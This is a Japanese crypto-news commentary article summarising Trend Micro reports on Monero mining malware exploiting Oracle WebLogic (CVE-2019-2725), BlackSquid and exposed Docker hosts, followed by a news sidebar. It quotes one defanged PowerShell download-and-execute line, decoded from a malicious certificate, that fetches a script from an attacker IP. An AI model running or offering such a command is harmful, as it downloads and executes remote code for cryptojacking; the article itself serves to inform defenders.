はじめての仮想通貨
TOP 新着一覧 チャート 学習-運用
CoinPostで今最も読まれています

現在も絶えない仮想通貨モネロ(XMR)「マイニングマルウェア」の脅威|独自考察

画像はShutterstockのライセンス許諾により使用

マイニングマルウェアの脅威が絶えない
トレンドマイクロ社が、仮想通貨モネロをマイニングするマルウェアの脅威について報告書を公開した。当該脆弱性の分析、そして現在も存在している端末に侵入してマイニングを行うマルウェアについて確認する。

トレンドマイクロ社が報告書を公開

サイバーセキュリティを専門とする「トレンドマイクロ社」は6月10日、マイニングマルウェアの脅威について報告書を公開した。

公開された報告書は、【Oracle Weblogic】というソフトウェアの脆弱性(CVE-2019-2725)を利用して仮想通貨モネロをマイニングするマルウェアに関するものだ。当該脆弱性の分析、そして2019年に入ってからも続く、端末に侵入してマイニングを行うマルウェア(ここではマイニングマルウェアと呼称する)について見ていきたい。

トレンドマイクロ社の報告から見えてくるもの

このマルウェアに関する分析は、SANS ISC INFOSECフォーラムが情報源となっている。

そもそもOracle WebLogicは、JAVAが動くアプリケーションサーバーだ。もう少し詳しく説明すると、オラクル社が提供する業務用ミドルウェアや開発者向け製品などのソフトウェア製品群であり、エンジニアを除けば普通は扱うことはないだろう。

しかし、脆弱性の利用方法を見ていくと興味深い点が見つかる。ブラウザはHTTPSで暗号化された通信を行うため、相手が正しいURL(例えば coinpost.jp)であることを証明書を使って確認する。そして、今回はこの証明書に攻撃のペイロード(実際に攻撃を行うためのコード)が含まれていた。

以下の画像は、証明書を実際に見たことがある人向けだが、一見、普通の証明書に見える。

出典 : TREND MICRO

しかしこれをデコードすると、攻撃ペイロードのPowershellスクリプトが含まれていることが分かる。URLはhxxpとなっているが、特定のIPアドレスに通信を行っていることが分かるだろうか。この処理が行われてしまうと、update.ps1というスクリプトが実行され、勝手にモネロをマイニングされてしまうのだ。

iex(New-ObjectNet.WebClient).DownloadString(‘hxxp://139.180.199.167:1012/update[.]ps1’)

証明書を利用してマルウェアを配布するというアイデア自体は目新しいものではない。 昨年時点で概念実証は行われており、Excelをマクロを含めて実行させるなど、実行可能であることが示されていた。

一方で今回の事例を見ると、証明書に隠したスクリプト単体で動作するものではなく、特定IPへの通信は複雑な技術を用いずに通信される仕組みになっている。つまり、この通信をマルウェア対策ソフトウェアなどで検知される可能性があるということだ。この点は、まだまだ攻撃に改良の余地があることを示しており、報告書でもテストの可能性があると述べている。

活発化するマイニングマルウェアによる攻撃

ビットコインなど暗号資産の価格が上昇するに伴い、攻撃者の活動も活発化している様子だ。 6月10日には8つの脆弱性を利用してマイニングマルウェアを送り込むBlackSquidについて、6月11日にはインターネットから接続可能なデバイスを探索した上でDockerコンテナを送り込むという手口に関して、同様にトレンドマイクロ社が日本語で注意喚起している。

前者のBlackSquidは、いずれも比較的古い脆弱性(EternalBlueやDoublePalserと呼ばれるもの等)を対象としており、恐らく既存のマルウェアなどを組み合わせたものと考えられる。

攻撃結果として、やはりモネロのマイニングを行うマイナーXMRigを起動する。 タイと米国で多く検出されたということだが、実装されていない機能も存在することから、将来的にさらなる開発が進められる可能性があるとのことだ。

エラーを含むコードや意図的にスキップされた機能を考慮すると、このマルウェアは開発およびテストの段階にあると考えられる。今後、不正アクセスや情報窃取などのさまざまな攻撃に利用されるかもしれない。あるいは、GPUリソースの有無によってコンポーネントを使い分けながら最も多くの利益を上げられる方法を調査しているのかもしれない。

さらに、彼らは大きな資本投下はせずに特定の標的を定めようとしている可能性もある。そのように考えられる理由は、BlackSquidが利用する脆弱性攻撃コードおよび手口の大多数がアンダーグラウンドで共有されているものであることや、「Shodan」のような有料のサービスを利用して対象を絞り込まずにランダムに生成したIPアドレスに攻撃を仕掛けている点だ。

また、後者のDockerコンテナを用いた手口でも、やはりMoneroを採掘するマイナーが含まれていた。Dockerに代表されるコンテナ技術は、LinuxやWindowsといったOSそれ自体を管理する手間を省力化できるなどの理由で急速に普及している。一方、新しい技術であることから、設定ミスがあると攻撃に晒されてしまう事例と言える。

出典 : TREND MICRO

おわりに

トレンドマイクロ社から報じられた攻撃について、複数の種類のマイニングマルウェアが出回っている点を紹介した。攻撃者がモネロをマイニングするのは利益や匿名性といった点を考慮した結果だと思われるが、将来も同じとは限らない。

また、暗号資産のマイニングに限らず、脆弱な環境は様々な形で悪用されてしまうだろう。ユーザー側の対策としては、OSやソフトウェアはなるべく最新にアップデートしたり、何か新しいものを取り入れるときは公式の情報を確認したり、仕組みを理解して使うことが大切だ。

坪 和樹

Twitter:https://twitter.com/TSB_KZK

Linkedin:https://www.linkedin.com/in/tsubo/

プロフィール:AWSで働くエンジニア、アイルランド在住。MtGoxやThe DAOでは被害を受けたが、ブロックチェーンのセキュリティに興味を持ち続けている。セキュリティカンファレンスでの講演、OWASP Japanの運営協力やMini Hardeningといったイベント立ち上げなど、コミュニティ活動も実績あり。

CoinPostの関連記事

流出した2300万XRP(リップル)の行方、仮想通貨交換所が一部の売却阻止に成功
仮想通貨取引所GateHubから総額23,200,000XRP(約10億円)の仮想通貨XRPが流出した事件で、交換サービスChangeNowはその一部の差し止めに成功したことがわかった。
仮想通貨「ミキシングサービス」の相次ぐ閉鎖、資金引き出しに関するリスクも
大手ミキシングサービスBitBlenderが閉鎖してサービス停止が発表された。同様のサービスの閉鎖が相次いでおり、仮想通貨ビットコインなど預けた資産が取り出せなくなるケースが多発している。
CoinPost App DL
厳選・注目記事
注目・速報 市況・解説 動画解説 新着一覧
07/19 土曜日
11:02
著名アナリストが分析、「ビットコインからイーサリアムへ資金移動、アルトシーズンの兆し」
ウィリー・ウー氏らがアルトシーズン開始を予測。仮想通貨ビットコインからイーサリアムへの資金ローテーションが本格化し、アルトコイン市場の上昇環境が形成。
10:05
JBA、暗号資産アンケート 分離課税20%導入の場合84%が投資増額意向
日本ブロックチェーン協会が暗号資産税制アンケート結果を公表した。保有者の84%が分離課税20%で投資増額すると回答した。また、10人に1人以上が暗号資産を保有などの結果も出た。
08:50
仮想通貨全面高の一週間、米下院クリプトウィーク振り返りと今後の見通し|仮想NISHI
今週の仮想通貨市場は、米下院で開催された「仮想通貨週間」において、ビットコインが史上最高値となる12万ドルを超える展開となった。アルトコイン市場においても大幅な上昇が見られた。
08:30
リップル発行のRLUSD、ブルーチップから最高評価獲得
独立の格付け機関ブルーチップがリップルのRLUSDステーブルコインにA評価を付与。BNYメロンでの準備金管理と堅牢なコンプライアンス体制などが評価された。
07:30
「米SECはトークン化の規制例外措置を検討中」アトキンス委員長
米SECのアトキンス委員長が、SECは証券のトークン化における規制の例外措置を検討していると明かした。RWAのトークン化は仮想通貨・ブロックチェーン領域で大きなトレンドになっている。
07:00
「保有していれば国家債務削減できたか」ブルガリア政府が2018年に手放した21万ビットコインの現在価値
ブルガリア政府が2018年に売却した21万3500BTCの仮想通貨ビットコインの現在価値は250億ドル超。同国債務の約8割に相当する巨額損失として話題に。
06:20
米上場ビットデジタル、イーサリアム保有量12万ETHに拡大
米ナスダック上場のビットデジタル社が18日、6730万ドルの資金調達で19683ETHの仮想通貨イーサリアムを追加購入。総保有量は120,306ETHで、時価4.24億ドルに拡大。
05:40
トランプ大統領がステーブルコイン法案に署名、米初の仮想通貨包括規制法が成立
トランプ大統領が19日、ステーブルコイン規制枠組みを定めるGENIUS法案に署名し米初の仮想通貨包括規制法が成立。2500億ドル規模のステーブルコイン市場に明確な規制導入。
07/18 金曜日
17:36
JBA、仮想通貨の税制改正「5項目」提言 申告分離課税20%など
日本ブロックチェーン協会が7月18日、暗号資産の税制改正要望書を政府に提出。最大55%の総合課税から20%分離課税への移行、損失繰越控除、暗号資産同士の交換非課税など5項目を要望。
17:00
ビットコイン、上昇余地あるも利確の動きに注意=Glassnode分析
ブロックチェーン分析企業Glassnodeは、最新のビットコイン市場分析レポートで、オンチェーン指標と過去のデータから、ビットコイン価格はさらに上昇する可能性があり、13万ドルが次の重要な抵抗線となると予測した。
13:55
米サムザップ、仮想通貨投資枠370億円に拡大 XRPやDOGEなど6銘柄追加承認
米上場のサムザップメディアが17日、取締役会で仮想通貨投資枠を2.5億ドルに拡大と発表。イーサリアム、ソラナ、XRP、ドージコイン、ライトコイン、USDCを新たに投資対象に追加。
13:30
ハミルトン・レーンのSCOPEファンド、マルチチェーン化
資産運用大手ハミルトン・レーンのプライベートクレジットファンド「SCOPE」がイーサリアムとオプティミズムでマルチチェーン化した。セキュリタイズとワームホールが提携し実現している。
13:20
美容企業コンヴァノ、総額4億円のビットコイン購入を決議
東証グロース上場のコンヴァノが総額4億円のビットコイン購入を決議。インフレヘッジと財務基盤強化を目的に暗号資産保有事業を開始。専門部署「ビットコイン保有戦略室」を新設し、7月末までに購入完了予定。
12:26
スイの注目プロジェクト「Walrus(WAL)」、将来性・購入方法を解説
Walrus(WAL)は分散型ストレージであり、暗号資産(仮想通貨)です。Sui Networkを活用した高度な技術、将来性、買い方、投資リスクまで徹底解説。
11:40
仮想通貨市場の時価総額が初めて4兆ドル突破、上昇余力は?=指標が示す動向
マーケットアナリストは仮想通貨ビットコインの短期保有者利益率13%で過熱感なし、13万7000ドル突破で大量売却の可能性を指摘。ビットコイン優勢に陰り、アルトシーズン指標点灯でアルトコインへの資金回転開始の兆しも。

通貨データ

グローバル情報
一覧
プロジェクト
アナウンス
上場/ペア
重要指標
一覧
新着指標
一覧